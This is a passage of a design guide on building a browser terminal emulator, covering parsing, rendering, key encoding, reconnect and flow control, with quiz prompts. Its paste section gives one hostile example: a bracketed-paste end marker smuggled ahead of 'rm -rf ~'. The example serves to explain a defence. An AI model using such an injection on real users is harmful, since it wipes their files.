Design a web-based terminal
An interactive shell in a browser tab, connected to a real process on a server. Showing text is the easy part; the hard parts are modelling a grid of cells with a cursor and two screen buffers, parsing a byte stream of escape sequences that arrives in random chunks, drawing 10,000 cells at 60 frames per second, turning key presses into the bytes a shell expects, and keeping the tab responsive when a command prints 100 MB.
The question
Our cloud development product gives every user a Linux container. Today they can only see build logs. We want a real terminal in the browser: they type
ls, runvim, watchhtop, and press Ctrl+C to stop a runaway script, exactly as they would on their laptop.Design the terminal component. How does it model the screen, understand the bytes the shell prints, draw them fast, send the right bytes back for each key, talk to the server, and stay usable when output floods, the network drops, or the user relies on a screen reader?
Real-life examples: VS Code integrated terminal (xterm.js), GitHub Codespaces, Google Cloud Shell, Replit shell, Railway and Vercel consoles
Requirements: what to ask before drawing anything
A terminal is a program that shows the text another program prints and sends that program the keys you type. The program on the other side is usually a shell such as bash or zsh, which runs your commands. In the browser version, the shell runs on a server, and the terminal runs in the tab.
It looks like a box of monospace text, so it looks easy. It is one of the hardest components on the web for three reasons.
First, the shell does not send lines of text: it sends a stream of bytes mixed with commands like "move the cursor up 3 rows" or "clear to the end of the line". Second, full-screen programs such as vim and htop redraw the whole screen many times per second. Third, the terminal is two-way and real time: every key goes to the server and every echo comes back, so 100 ms of delay is felt on every keystroke.
This is a component question. You are designing the terminal pane that a larger product embeds, the way VS Code, GitHub Codespaces, and Google Cloud Shell embed one. The container, the editor, and the file tree around it are other teams' problems.
One related guide covers a cousin of this problem. The log-viewer guide is about read-only output: coloring with ANSI SGR codes, holding millions of lines in memory, and searching them. This guide is about the interactive case: a cursor that moves, a screen that full-screen apps repaint, and keys that go back to a live process. Where the two overlap, this guide links the log-viewer guide instead of repeating it.
Questions that change the design
- What runs on the other side? A real login shell in a container (any program, including
vim,tmux,htop) needs a full terminal emulator. A fixed command runner (onlynpm test) only needs a log view plus a stop button. Assume a full shell. - Who controls the server? If we own the process host, we can add our own protocol for resize, flow control, and reconnect. If we must talk to an existing SSH server directly, we can't. Assume we own a small gateway next to each container.
- How many terminals per tab? VS Code users open 5 to 10 terminals in split panes. That multiplies memory and render cost, so the per-terminal budget matters. Assume up to 10, with one visible at a time per pane.
- Does the session survive a refresh or a dropped Wi-Fi? If a long build must keep running and the output must come back, the server needs a persistent session and a replay buffer. Assume yes: the process keeps running for 30 minutes after the last tab closes.
- Which devices? Desktop with a physical keyboard is the main case. On a phone, the soft keyboard has no Ctrl, Esc, or arrow keys, so you need an extra key bar. Assume desktop first, a basic mobile key bar second.
- Accessibility and compliance? A terminal is a developer tool, and blind developers use terminals every day with screen readers. Assume a screen reader mode is required, not optional.
Functional requirements
- Show program output with colors, bold, underline, and cursor movement, so
ls --color,git log,vim,htop, andtmuxlook the way they do in a native terminal. - Send every key to the process with the bytes a native terminal would send, including Ctrl, Alt, arrows, function keys, and text typed through an input method (IME) for Chinese, Japanese, or Korean.
- Resize with the pane: when the pane changes size, the grid changes size and the process is told the new rows and columns.
- Scroll back through at least 10,000 lines of history, search it, select text with the mouse or keyboard, and copy and paste.
- Detect web links and terminal hyperlinks, and open them in a new tab after a check.
- Survive a network drop: reconnect on its own, show what was printed while away, and keep the process alive.
Non-functional requirements, with numbers
| Requirement | Target | Why this number |
|---|---|---|
| Keystroke echo | Under 16 ms of client time from key to painted echo, on top of network round trip | The network round trip (20 to 80 ms) is already spent. The client must not add a visible frame on top of it. |
| Full-screen redraw | A 200 by 50 grid (10,000 cells) repainted in under 4 ms | htop and vim repaint the whole screen several times per second; 4 ms leaves room in a 16.7 ms frame. |
| Flood output | cat of a 100 MB file never blocks input for more than 100 ms | The user must still be able to press Ctrl+C to stop it. INP (Interaction to Next Paint) counts 200 ms as the line for good. |
| Memory | Under 20 MB per terminal with 10,000 lines of scrollback at 120 columns | Ten terminals per tab must fit next to an editor on an 8 GB laptop. Chapter 3 shows the math. |
| Reconnect | Back to a live session within 5 seconds of the network returning, with no lost output | A dropped Wi-Fi must not kill a 20 minute build or lose its output. |
| Accessibility | New output announced to screen readers; every feature usable from the keyboard | Blind developers rely on terminals; WCAG 2.1.1 requires keyboard access. |
Out of scope, and why
- Container scheduling and the shell itself. We assume a gateway can start a process with a pseudo-terminal and hand us a socket. How containers get placed is a backend question.
- Shell features. Tab completion, history, and prompts belong to
bashorzsh. The terminal just forwards keys. A common interview mistake is to design autocomplete into the terminal. - Editor features. Multi-cursor editing and syntax highlighting belong to the editor around the terminal, covered in the codepen guide.
- Recording and replay for audits. Worth a follow-up mention (asciinema-style recordings), but not part of the core component.
Check your understanding · Exercise 1
Which answers from the interviewer would change the design the most? Select all that apply.
What makes a terminal hard
Before choosing anything, name the properties of the problem. Every later decision traces back to one of these five.
1. The input is a byte stream, not text
The process writes bytes to its terminal. Most are printable characters, but some are control sequences: short commands that start with the escape byte 0x1B (written ESC). For example, ESC[2J clears the screen, ESC[10;5H moves the cursor to row 10, column 5, and ESC[31m turns the text red.
These sequences arrive in network chunks that can split anywhere, even in the middle of a sequence or in the middle of a multi-byte UTF-8 character. The terminal must understand all of it, byte by byte, without ever showing a stray [31m on screen.
2. The screen is a grid with a cursor, not a list of lines
A log viewer only appends. A terminal writes at the cursor, and the cursor can go anywhere. A progress bar rewrites the same line 100 times, and vim paints row 1, then row 40, then row 7. So the core data structure is a 2D grid of cells, and output is "write this character at the cursor, then move the cursor", not "append a line".
3. Output can be a firehose
A server can produce output much faster than a browser can draw it. cat of a 100 MB file, a find / over a big disk, or a chatty build can push tens of megabytes per second. If the terminal tries to parse and draw everything as it arrives, the main thread is busy for seconds, input stops working, and the user can't even press Ctrl+C. The terminal needs flow control: a way to tell the server to slow down.
4. Keys must become the exact bytes a shell expects
Browsers give you KeyboardEvent objects. Shells expect bytes from the 1970s: Enter is \r (carriage return, byte 13), Ctrl+C is byte 3, the up arrow is ESC[A or ESC O A depending on a mode the program set. Some keys the browser won't give you at all: on Windows and Linux, Ctrl+W closes the tab before the page sees it. And text typed through an IME (input method editor, used for Chinese, Japanese, and Korean) arrives as composition events, not key presses.
5. It is remote code execution by design
Most web apps try hard to prevent running code on the server. A terminal's whole job is to run any command the user types. So authentication, session tokens, and the boundary between "output the server sent" and "something the page acts on" (links, clipboard writes, window titles) are security decisions, not polish.
The figure shows the two loops this guide designs. The output loop: bytes from the socket go into a parser, the parser changes a buffer of cells, and a renderer draws the cells that changed. The input loop: a key event goes into an encoder that produces bytes, and the bytes go out on the socket. The two loops meet only at the buffer (the cursor position and modes the program set) and the socket.
Think first
Why not just append the output into a pre element and let the browser handle it?
Because the output isn't a document. A pre element can only append text. It can't move a cursor up 3 rows and overwrite a character, clear half the screen, or swap to a second screen for vim. You would have to parse every control sequence anyway and then rewrite the DOM in the right places, which is exactly a terminal emulator with a slow renderer.
It also fails on volume: appending 100 MB of text nodes freezes the tab and eats gigabytes of memory. The log-viewer guide shows the same problem for read-only output.
The terminal model: a grid of cells, a cursor, and two screens
Everything else in the design reads or writes one structure: the buffer. Get it right first.
A terminal screen is a grid of rows by cols cells. Each cell holds one character and its attributes: foreground color, background color, and flags such as bold, italic, underline, and inverse. A typical pane is 120 columns by 30 rows, so 3,600 cells. A maximized pane on a 4K monitor can be 300 by 80, so 24,000 cells.
On top of the grid sits the cursor: a row and a column where the next character will be written, plus the "current attributes" (the pen). When the program prints A, the terminal stores A with the pen's attributes at the cursor cell and moves the cursor one column right. That's the whole printing rule. Everything else is a control sequence that moves the cursor, changes the pen, or erases cells.
Screen versus scrollback
When the cursor is on the last row and a line feed arrives, the screen scrolls: the top row leaves the screen, every row moves up by one, and a blank row appears at the bottom. In a native terminal the row that left is not lost: it goes into the scrollback, the history above the screen that you can scroll up to read.
So the buffer is really one long list of lines. The last rows lines are the active screen, which programs can address with the cursor. Everything above is scrollback, which programs can't touch: it is read-only history.
The viewport is a third idea: which lines the user is looking at. Usually it is the active screen. When the user scrolls up, the viewport moves into scrollback while the program keeps writing to the active screen below. Keep these three apart in your head: the program writes the active screen, scrolling pushes lines into scrollback, and the viewport is just where the user is looking.
The alternate screen
Open vim, quit it, and your previous commands are still there, untouched. That works because terminals have two buffers. The normal buffer has scrollback. The alternate buffer has exactly rows lines and no scrollback.
Full-screen programs send ESC[?1049h when they start: the terminal saves the cursor, switches to a clean alternate buffer, and the program paints freely. On exit they send ESC[?1049l: the terminal switches back and restores the cursor, and the shell history reappears as if nothing happened.
This has design consequences. While the alternate buffer is active, mouse wheel scrolling has nothing to scroll, so terminals usually send the wheel to the program as arrow keys or mouse events instead. Search should say which buffer it searched. And the alternate buffer must never be pushed into scrollback, or quitting htop would leave 50 copies of its screen in history.
vim paints on the alternate buffer, which has no history. When it exits with ESC[?1049l, the normal buffer and its scrollback come back untouched and the cursor is restored.How to store the cells
Decision How should the buffer store 10,000 lines of 120 cells each?
What we pick: Typed arrays. The buffer is the hottest data structure in the app: every byte of output writes it and every frame reads it. xterm.js stores each line as a Uint32Array with 3 numbers per cell for the same reason. Keep a small reusable cell object for reading, so loops don't allocate.
const WORDS = 3; // content, fg+flags, bg
const WIDTH_SHIFT = 22;
class Line {
data: Uint32Array;
wrapped = false; // true if this line continues onto the next row
constructor(public cols: number) {
this.data = new Uint32Array(cols * WORDS);
}
set(col: number, codePoint: number, width: number, fg: number, bg: number) {
const i = col * WORDS;
this.data[i] = codePoint | (width << WIDTH_SHIFT);
this.data[i + 1] = fg;
this.data[i + 2] = bg;
}
codePoint(col: number) {
return this.data[col * WORDS] & 0x1fffff;
}
}
Scrollback as a ring buffer
Scrollback has a limit, say 10,000 lines, so when line 10,001 arrives the oldest line must go. Removing the first item of a JavaScript array with shift() moves every other item, which is 10,000 moves per new line during a flood. A ring buffer (circular buffer) avoids that: a fixed array of 10,000 slots plus a start index. A new line overwrites the slot at start and start moves forward.
Better still, the evicted line's Uint32Array can be reused for the new line, so a flood allocates almost nothing. xterm.js keeps its lines in a circular list for this reason, and its default scrollback is 1,000 lines. VS Code also starts at 1,000 and lets users raise it in settings.
Line wrapping and reflow on resize
When the cursor reaches the last column and another character arrives, the terminal wraps: it moves to column 0 of the next row and marks the previous row as wrapped. That flag is the only memory that two rows are really one long logical line.
It matters twice. Copying a selection across a wrapped row must not insert a newline. And on resize, the terminal can reflow: join wrapped rows back into logical lines and re-wrap them at the new width, the way a text editor re-wraps a paragraph.
Reflow is only done for the normal buffer, and only for lines the program is no longer controlling. The alternate screen is not reflowed: the program gets a resize signal and repaints itself at the new size. Reflow is also where wide characters bite: a 2-cell character can't be split across rows, so when it would land in the last column, the terminal leaves that cell blank and wraps early.
Check your understanding · Exercise 2
A user runs htop, quits it, then scrolls up. Which statements are true? Select all that apply.
Parsing the byte stream: a state machine that survives any chunk boundary
The parser turns bytes into actions on the buffer: "print this character", "move the cursor", "set red", "switch to the alternate screen". Here is the zoo it must handle, using the names from the xterm and VT100 documentation.
| Family | Starts with | Example | What it does |
|---|---|---|---|
| C0 control | a single byte below 0x20 | \r (13), \n (10), \b (8), BEL (7) | Carriage return, line feed, backspace, beep. One byte, no parameters. |
| ESC sequence | ESC plus one or two bytes | ESC 7, ESC 8 | Save and restore the cursor. |
| CSI (Control Sequence Introducer) | ESC [ | ESC[5;10H, ESC[2K, ESC[1;31m | Cursor moves, erase, scroll regions, modes, and SGR (colors and styles). Numbers separated by ;, then one final letter. |
| Private modes | ESC [ ? | ESC[?25l, ESC[?1049h, ESC[?2004h | Hide the cursor, alternate screen, bracketed paste. h sets a mode, l resets it. |
| OSC (Operating System Command) | ESC ] | ESC]0;build BEL, ESC]8;;https://x.dev ESC\ | A text payload: window title, hyperlinks (OSC 8), clipboard (OSC 52). Ends with BEL or ESC \ (the String Terminator, ST). |
| DCS (Device Control String) | ESC P | Sixel images, terminal queries | A long payload for special features. Most web terminals ignore the payload safely. |
The log-viewer guide parses only SGR colors with a regular expression, and that's right for read-only lines that arrive whole. A terminal can't do that, for one reason: chunks split anywhere.
The server reads from the process in blocks of whatever size the kernel hands over, and the network may split them again. One chunk can end with ESC[3 and the next start with 1m. A regex over each chunk sees neither half as a sequence and prints [3 and 1m as text.
Decision How should the parser read the stream?
What we pick: The state machine. There is a well-known reference model for it: Paul Williams' DEC-compatible parser, published on vt100.net, which models what real DEC VT terminals did with every byte in every state. xterm.js builds its transition table from it (the source cites vt100.net), and so do several native terminals. You don't invent this part; you implement a known model.
The figure shows the states that matter for 95 percent of traffic. In ground, printable bytes are printed and C0 controls are executed. ESC moves to escape.
From there [ moves to csi entry, digits and ; move to csi param (collecting parameters), and a final byte from @ to ~ dispatches the sequence and returns to ground. ] moves to osc string, which collects text until BEL or ST. Two rules make it hard to break: CAN and SUB (bytes 24 and 26) cancel any sequence, and ESC from any state starts a fresh one. So a program that crashes mid-sequence can't leave the terminal stuck.
parse(codes: Uint32Array, length: number) {
for (let i = 0; i < length; i++) {
const code = codes[i];
// fast path: a run of printable characters in ground state
if (this.state === GROUND && code >= 0x20 && code !== 0x7f) {
let end = i + 1;
while (end < length && codes[end] >= 0x20 && codes[end] !== 0x7f) end++;
this.handlers.print(codes, i, end);
i = end - 1;
continue;
}
const t = TABLE[(this.state << 8) | Math.min(code, 0xa0)];
switch (t & ACTION_MASK) {
case EXECUTE: this.handlers.execute(code); break;
case PARAM: this.params.addDigitOrSeparator(code); break;
case CSI_DISPATCH: this.handlers.csi(this.params, code); break;
case OSC_PUT: this.osc.push(code); break;
case OSC_END: this.handlers.osc(this.osc.take()); break;
case CLEAR: this.params.reset(); break;
}
this.state = t >> STATE_SHIFT;
}
}
state, params, and osc live on the parser object, so they survive between write calls: that is the whole answer to split chunks.Try it: feed the parser chunks
The lab below has a 12 by 4 terminal, and each button feeds one chunk of bytes. Watch the parser state between chunks: after chunk 1 the parser sits in csi param with 3 collected, and nothing odd is printed. Chunk 2 completes the sequence. Chunks 3 and 4 split a CJK character's UTF-8 bytes, which then takes 2 cells, and the last three chunks switch to the alternate screen and back.
UTF-8 decoding: the same problem one level down
Before the parser sees code points, bytes must be decoded from UTF-8. A character like é is 2 bytes, 中 is 3, and most emoji are 4. A chunk can end after the first byte of 中. Decoding each chunk on its own turns the halves into two replacement characters (U+FFFD).
The fix has the same shape as the parser: keep the leftover bytes and finish the character with the next chunk. In the browser, new TextDecoder("utf-8") with decode(chunk, { stream: true }) does exactly this. xterm.js uses its own small decoder that writes straight into a reused Uint32Array, avoiding a string allocation per chunk.
Wide characters: how many cells is this character?
A Latin letter takes 1 cell. A CJK character such as 中 and most emoji take 2 cells. Combining marks (the accent in e plus U+0301) take 0 cells: they attach to the previous cell. The function that answers "how many cells?" is traditionally called wcwidth, and it is derived from the Unicode East Asian Width property and emoji data.
The trap: the program on the server also computes widths, to know where its own cursor is. vim, zsh, and tmux all call wcwidth from the server's C library. If the terminal thinks an emoji is 2 cells and the server thinks it is 1, every character after it on that line is drawn one cell off, and line editing in the shell corrupts the screen.
So the goal is not "the most correct width", it is "the same width table as the programs you talk to". xterm.js ships Unicode 6 widths by default and offers a Unicode 11 addon, letting the embedding app pick the version that matches its servers. Emoji built from several code points (a family emoji joined with zero-width joiners) are still a known area where terminals and programs disagree.
Check your understanding · Exercise 3
The socket delivers ESC[3 in one message and 1mok in the next. Which statements are true for a state-machine parser? Select all that apply.
Rendering: drawing 10,000 cells at 60 frames per second
The renderer reads the buffer and paints the viewport. The hard case is not a prompt: it's htop repainting a 200 by 50 grid 10 times a second, or a build printing 5,000 lines a second while the user watches it scroll. The budget from the requirements: a full repaint under 4 ms, so the parser gets most of the 16.7 ms frame.
Groundwork that applies to every renderer
- Render at most once per frame. The parser marks rows dirty as it writes. A
requestAnimationFramecallback paints only rows between the lowest and highest dirty index, then clears the marks. A burst of 300 writes in one frame costs one paint. - Measure the cell once. A monospace font has one advance width. Measure it (for example, with
measureTexton a long run ofWdivided by its length, or a hidden DOM span), round to device pixels, and cache it. Cell width timescolsmust equal the pane width exactly, or the fit math drifts. Re-measure when the font loads (document.fonts.ready) and when zoom changes. - Respect devicePixelRatio. On a 2x screen, a canvas must be twice the CSS size in real pixels and scaled, or text is blurry. Listen for ratio changes with
matchMediabecause dragging a window between monitors changes it. - Keep the cursor out of the grid repaint. Cursor blink is a separate, tiny job: repaint only the cursor's cell (or toggle a small overlay) every 600 ms, and stop blinking when the terminal is not focused or when
prefers-reduced-motionis set. Repainting the whole grid to blink a cursor wastes battery on idle terminals.
Decision What should draw the cells?
What we pick: WebGL with a glyph atlas as the main renderer, with the DOM renderer as fallback. This is the pairing VS Code uses with xterm.js: GPU acceleration by default, falling back to the DOM renderer if WebGL fails or the context is lost. The DOM fallback also covers old GPUs and remote desktop sessions where WebGL is slow. Accessibility does not depend on the renderer: the screen reader mode in chapter 11 keeps its own DOM tree.
How the glyph atlas works
Rasterizing text is the slow part of drawing text, and the atlas does it once per distinct glyph. When the renderer meets A in bold green for the first time, it draws that glyph with Canvas 2D into a free slot of an offscreen canvas and uploads the slot to a GPU texture. Every later bold green A is just "copy slot 37 to cell (12, 4)". A typical shell session uses a few hundred distinct glyphs, so after the first second, nothing is rasterized at all.
Edge cases: wide characters take a slot twice the cell width. Emoji are drawn in color, so they can't be tinted like plain glyphs. When the atlas fills (a user cats a large CJK file), the renderer starts a new page or clears and rebuilds. Font size, font family, theme, and devicePixelRatio changes all invalidate the atlas.
Fonts and ligatures
Programming fonts such as Fira Code draw => or != as one joined glyph, a ligature. A cell grid fights this: each cell is drawn on its own. The DOM renderer gets ligatures for free if runs stay in one span.
Canvas and WebGL renderers need to detect ligature sequences from the font's tables and draw them as one wide glyph, which xterm.js offers as an optional addon. Treat ligatures as a nice-to-have and say so; the interviewer is checking that you know the grid model makes them hard.
| Scenario (200 by 50 grid, estimates) | DOM | WebGL atlas |
|---|---|---|
| One line typed at the prompt | 1 row rebuilt, well under 1 ms | 1 row of cell data, well under 1 ms |
| Full repaint, mostly plain text | About 2 to 6 ms (50 rows, few spans) | About 0.5 to 1 ms |
Full repaint, colorful htop | About 8 to 20 ms (thousands of spans) | About 0.5 to 1.5 ms |
| Scrolling a flood at 60 frames per second | Often drops frames | Usually holds 60 |
Check your understanding · Exercise 4
A user reports high CPU while the terminal sits idle at a prompt. Which are likely causes? Select all that apply.
Input: turning browser key events into the bytes a shell expects
A native terminal sends bytes to the process for every key. The browser gives us KeyboardEvent, InputEvent, composition events, and paste events. The input layer translates between the two worlds and must never send a byte twice or drop one.
Where keys are captured: a hidden textarea
Decision Which element should receive keyboard input?
What we pick: The hidden textarea, as xterm.js and most web editors do. The rich-text-editor guide covers the IME composition event sequence in depth. The rule that matters here: while isComposing is true, send nothing. Send the final text once, on compositionend, or the shell receives half-built syllables.
From key to bytes
| Key | Bytes sent | Why |
|---|---|---|
| Enter | \r (13) | Terminals send carriage return. The PTY converts it to a newline for the program when needed. |
| Backspace | 0x7F (DEL) | Modern terminals send DEL; a few legacy setups expect 0x08. Make it configurable. |
| Ctrl+C | 0x03 | Ctrl plus a letter sends the letter's code minus 64: C is 67, so 3. The PTY turns 3 into SIGINT for the foreground process. |
| Up arrow | ESC[A, or ESC O A in application cursor mode | Programs like vim set mode ESC[?1h (DECCKM) and expect the ESC O form. The encoder must read the mode the parser stored. |
| Alt+B | ESC b | Alt as meta prefixes the key with ESC. bash reads it as "back one word". On macOS, Option types special characters by default, so this is a setting. |
| F5 | ESC[15~ | Function keys use ~-terminated CSI codes, with extra parameters for modifiers. |
| Tab | \t (9) | The shell does completion; the terminal must keep focus instead of moving it to the next element. See chapter 11 for the escape hatch. |
function encodeKey(e: KeyboardEvent, modes: Modes): string | null {
const appCursor = modes.applicationCursorKeys; // set by ESC[?1h
switch (e.key) {
case "Enter": return "\r";
case "Backspace": return e.ctrlKey ? "\x08" : "\x7f";
case "ArrowUp": return appCursor ? "\x1bOA" : "\x1b[A";
case "ArrowDown": return appCursor ? "\x1bOB" : "\x1b[B";
case "Escape": return "\x1b";
}
if (e.ctrlKey && !e.altKey && e.key.length === 1) {
const code = e.key.toUpperCase().charCodeAt(0);
if (code >= 64 && code <= 95) return String.fromCharCode(code - 64);
}
if (e.altKey && modes.altIsMeta && e.key.length === 1) return "\x1b" + e.key;
return null; // let the textarea's input event deliver printable text
}
modes is shared with the parser, which is the one place the input and output loops meet.Keys the browser won't give you
Ctrl+W deletes the previous word in bash, and closes the tab in the browser. On Windows and Linux, Chrome and other major browsers handle Ctrl+W, Ctrl+T, Ctrl+N, and Ctrl+Tab before the page sees them, so preventDefault does nothing. On macOS those browser shortcuts use Cmd, so Ctrl+W does reach the terminal. You have three tools, none perfect:
- Keyboard Lock API.
navigator.keyboard.lock()lets a page capture shortcuts the browser normally keeps, such as Ctrl+W. Only Chromium browsers support it, and only while the page is in fullscreen that it requested itself. Offer a "focus mode" fullscreen toggle that uses it. - Alternatives and remapping. Document Alt+Backspace, which
bashalready reads as delete previous word, offer to map Ctrl+Backspace to byte0x17(what Ctrl+W sends), and let users bind any key to any byte sequence. - A close guard. Use a
beforeunloadprompt while a process is running, so an accidental Ctrl+W doesn't lose work. With persistent sessions (chapter 7), even a closed tab only loses the view, not the process.
The reverse problem also exists: the embedding app has its own shortcuts (Ctrl+Shift+C to copy, Ctrl+P for a command palette). The terminal must offer a hook to let the host claim a key before it's encoded. xterm.js calls it attachCustomKeyEventHandler: return false and the terminal ignores the event.
Paste and bracketed paste
Pasting is typing many keys at once, and that is dangerous. If you paste three lines into bash, each newline runs a command, so the first two lines run before you've looked at them. Programs can opt into bracketed paste mode with ESC[?2004h. Then the terminal wraps pasted text as ESC[200~ plus the text plus ESC[201~, and the shell knows it was pasted, shows it, and waits for Enter.
- Strip the end marker from the pasted text. If the clipboard contains
ESC[201~followed byrm -rf ~, an unfiltered paste ends the bracket early and the rest runs as typed input. Remove ESC bytes (or at least the markers) from pasted content. - Convert newlines in pasted text to
\r, the byte Enter sends. - Warn on multi-line paste when bracketed paste is off. Show a dialog with the line count and the first lines, as VS Code and Windows Terminal do. Let users turn it off.
- Chunk large pastes. A 2 MB paste sent as one write can overflow the program's input buffer. Send it in slices of a few KB.
Think first
On a 150 ms connection, every typed character appears 150 ms late. Can the terminal show it immediately?
Only by guessing. The terminal doesn't know whether the program will echo the key: a password prompt won't, vim in normal mode won't, and the shell might autocomplete. A predictive local echo draws the character right away in a dim style, then confirms or rolls back when the server's real echo arrives. Mosh popularized the idea, and VS Code has a local echo setting for remote terminals that only turns on above a latency threshold.
It's a good senior follow-up, but keep it off by default: a wrong guess, such as echoing a password, is worse than 150 ms of lag.
Check your understanding · Exercise 5
Which input behaviors are correct? Select all that apply.
The connection: a socket to a PTY, resize, and reconnect
On the server, the shell doesn't talk to a socket directly. It talks to a PTY (pseudo-terminal): a pair of kernel devices that makes a process believe it is attached to a real terminal. The shell reads keys from it and writes output to it. The PTY's line discipline handles details such as turning byte 3 into SIGINT and echoing typed characters.
A small gateway process holds the other end of the PTY and relays bytes to and from the browser. node-pty (used by VS Code), ttyd, and GoTTY are well-known examples of that relay: the latter two serve a browser terminal over a WebSocket out of the box (ttyd uses xterm.js).
Decision How should bytes travel between the browser and the PTY gateway?
What we pick: A WebSocket with binary frames. It's what VS Code remote, ttyd, GoTTY, and most cloud shells use. The websockets lesson covers the handshake, heartbeats, and proxies; here we design the messages that travel on it. WebTransport is a possible future choice for its multiple streams, but browser, proxy, and server support is still uneven, so it isn't worth the risk for this product.
A tiny protocol on top of the socket
Raw bytes alone aren't enough: we also need resize, flow control acks, and resume. Prefix every binary message with a 1-byte type. Data stays raw (no JSON, no base64), and control messages are small JSON payloads. Chapter 10 lists every message.
Resize: telling the process how big the screen is
When the pane changes size, the terminal computes new cols and rows from the pane size and the cell size (cols = floor(width / cellWidth)), resizes its buffer, and sends a resize message. The gateway calls pty.resize(cols, rows), which sets the PTY's window size with the TIOCSWINSZ ioctl. The kernel then sends SIGWINCH (window change signal) to the foreground process group, and vim or htop query the new size and repaint.
- Watch the pane with
ResizeObserver, notwindow.resize: split panes and sidebars change size without the window changing. - Debounce the message by about 100 ms while a user drags a splitter. Resizing the local buffer can happen right away, but 60 resize signals per second make full-screen apps flicker.
- Send only when
colsorrowsactually changed. Most pixel changes don't cross a cell boundary. - Never send 0 rows or 0 columns, which happens when the pane is hidden. Skip resize while hidden and send the real size when it's shown again.
Reconnecting to a living session
Wi-Fi drops for 4 seconds in the middle of a 20 minute build. A naive design closes the socket, the gateway kills the PTY, and the build dies. The requirement says the process lives on. That means the session belongs to the gateway, not to the socket, much like tmux keeps sessions alive when your SSH connection drops.
Decision How does a reconnecting client get back what it missed?
What we pick: Both, layered. Byte-offset replay handles the common short drop exactly. When the requested offset has already left the ring buffer, or a brand-new tab attaches, the gateway sends a snapshot from its headless emulator instead. VS Code's persistent terminals follow the same idea: they restore the visible content of a terminal by serializing a buffer kept outside the window.
The connection state machine has five states. connecting becomes live once the server confirms the session. A socket close or a missed heartbeat (no pong in 10 seconds) moves live to reconnecting, which retries with exponential backoff and jitter: 0.5, 1, 2, 4, up to 15 seconds.
While reconnecting, the terminal keeps the screen, dims it, shows a banner, and buffers keystrokes locally up to a small limit, or refuses them with a visible notice. A server reply that the session no longer exists moves to ended, which shows the exit code and a "Start new session" button.
An auth failure moves to unauthorized, which asks the host app for a fresh ticket instead of retrying blindly. The browser's WebSocket API doesn't expose the HTTP status of a failed handshake, so the gateway should signal auth problems with an error message or a close code in the 4000 to 4999 range that applications may use, not a bare 401.
Check your understanding · Exercise 6
The user drags a split-pane divider for 2 seconds. Which behaviors are right? Select all that apply.
Flow control: staying responsive when output floods
Run cat huge.log on a 100 MB file. The server reads it from disk in well under a second. A browser terminal parses and renders in the range of 5 to 35 MB per second, the range the xterm.js docs give for their emulator. So the producer is 10 to 100 times faster than the consumer, and the difference has to go somewhere.
Without flow control it goes into memory. Bytes pile up in the gateway's socket buffer, in the network, and in the browser's queue of unprocessed messages. The terminal keeps working through a queue that is seconds or minutes long.
The user presses Ctrl+C: the byte reaches the server quickly and the process stops, but the screen keeps scrolling for another 30 seconds, because 80 MB that were already sent still have to be parsed. To the user, Ctrl+C "didn't work". Worse, xterm.js has a hard limit on its write buffer (50 MB in its docs) and discards data beyond it, to avoid running out of memory.
Decision How should the terminal keep a flood under control?
What we pick: Watermarks with acks. This is the scheme the xterm.js flow control guide describes for WebSocket setups: treat the socket as a pipe with unknown buffering, and carry write-callback accounting from the client back to the server. Their rule of thumb keeps the high watermark under 500 KB so keystrokes stay snappy, and their test is running yes and pressing Ctrl+C. VS Code's own terminal uses the same shape: pause at 100,000 unacknowledged characters, with acks every 5,000.
term.write callback, so it means parsed, not merely received. That is what keeps the backlog, and the delay after Ctrl+C, small.const ACK_EVERY = 5 * 1024; // must not exceed the gateway's LOW
let unacked = 0;
socket.onmessage = (ev) => {
const bytes = new Uint8Array(ev.data as ArrayBuffer);
if (bytes[0] !== MSG.OUTPUT) return handleControl(bytes);
const payload = bytes.subarray(1);
unacked += payload.length;
if (unacked >= ACK_EVERY) {
const count = unacked;
unacked = 0;
term.write(payload, () => send(MSG.ACK, { bytes: count }));
} else {
term.write(payload);
}
};
term.write calls the callback when that chunk is parsed, not when it arrives.const HIGH = 100 * 1024;
const LOW = 10 * 1024;
let inFlight = 0;
let paused = false;
pty.onData((data) => {
const buf = Buffer.from(data);
inFlight += buf.length;
ws.send(frame(MSG.OUTPUT, buf));
if (!paused && inFlight > HIGH) { pty.pause(); paused = true; }
});
onAck((bytes) => {
inFlight = Math.max(0, inFlight - bytes);
if (paused && inFlight < LOW) { pty.resume(); paused = false; }
});
Parsing in frame-sized slices
Flow control bounds the backlog; the parser still needs manners. write should only queue the data; a scheduler then parses for a fixed budget per frame (around 10 to 12 ms), lets the browser render and handle input, and continues in the next task. That's how a flood at full speed still leaves room for a key press to be handled within a frame. The runtime-performance lesson covers long tasks and INP in general; the key point here is that input handling must never wait behind a whole backlog.
Try it: flood the terminal
The lab simulates 10 seconds of output at a rate you choose, with Ctrl+C pressed at 5 seconds, against a parser that handles 20 MB per second. Compare the queued backlog, the data discarded past the 50 MB write buffer limit, the estimated frame time, and how long Ctrl+C takes to quiet the screen, with and without watermarks. The numbers are illustrative estimates from a toy model, not measurements.
Check your understanding · Exercise 7
A user runs yes (infinite output) and presses Ctrl+C. Which statements are true with watermark flow control (high 100 KB)? Select all that apply.
Scrollback, search, selection, copy, and links
Once the screen is drawn on a canvas or WebGL surface, the browser no longer knows there is text. Browser find, selection, copy, and link clicks all stop working. The terminal has to rebuild each of them over its own buffer.
Scrollback: how much history, at what cost
With 12 bytes per cell, the math is simple: lines times columns times 12. 10,000 lines at 120 columns is 14.4 MB. 100,000 lines at 200 columns is 240 MB, too much for one tab with ten terminals. Pick a default of 10,000 lines, let users raise it, and show the estimated memory next to the setting. Remember the multiplier: ten open terminals at 14 MB each is 144 MB.
If users need more than that (a build log of millions of lines), the terminal is the wrong tool for reading it. Offer "Open full output in log viewer" that streams the session's recorded output into the log-viewer component, which stores lines compactly and searches them in a worker. The log-viewer guide covers that storage and search in depth.
Search in scrollback
- Search logical lines, not rows. Join wrapped rows (using the
wrappedflag) before matching, or a URL broken across two rows will never match. - Map matches back to cells. A match at string index 40 may be at column 38 if the line has wide characters. Keep a small index-to-column map per searched line.
- Search incrementally. Searching 10,000 lines of 120 characters is about 1.2 million characters: a few ms with
indexOf, more with a user regex. Search from the viewport outward and stop at the first hit for "find next"; count all matches in idle time. - Highlight with decorations, not by editing cells. Matches are an overlay drawn by the renderer. They must move as new lines push old ones into scrollback, so store them with absolute line numbers.
Selection over a grid
Selection is stored as two buffer positions, start and end, each an absolute line number plus a column. Absolute means counted from the first line ever written, not from the top of the screen, so a selection doesn't slide when new output scrolls the view. When the ring buffer evicts lines, a selection that pointed at them is cleared.
- Mouse to cell:
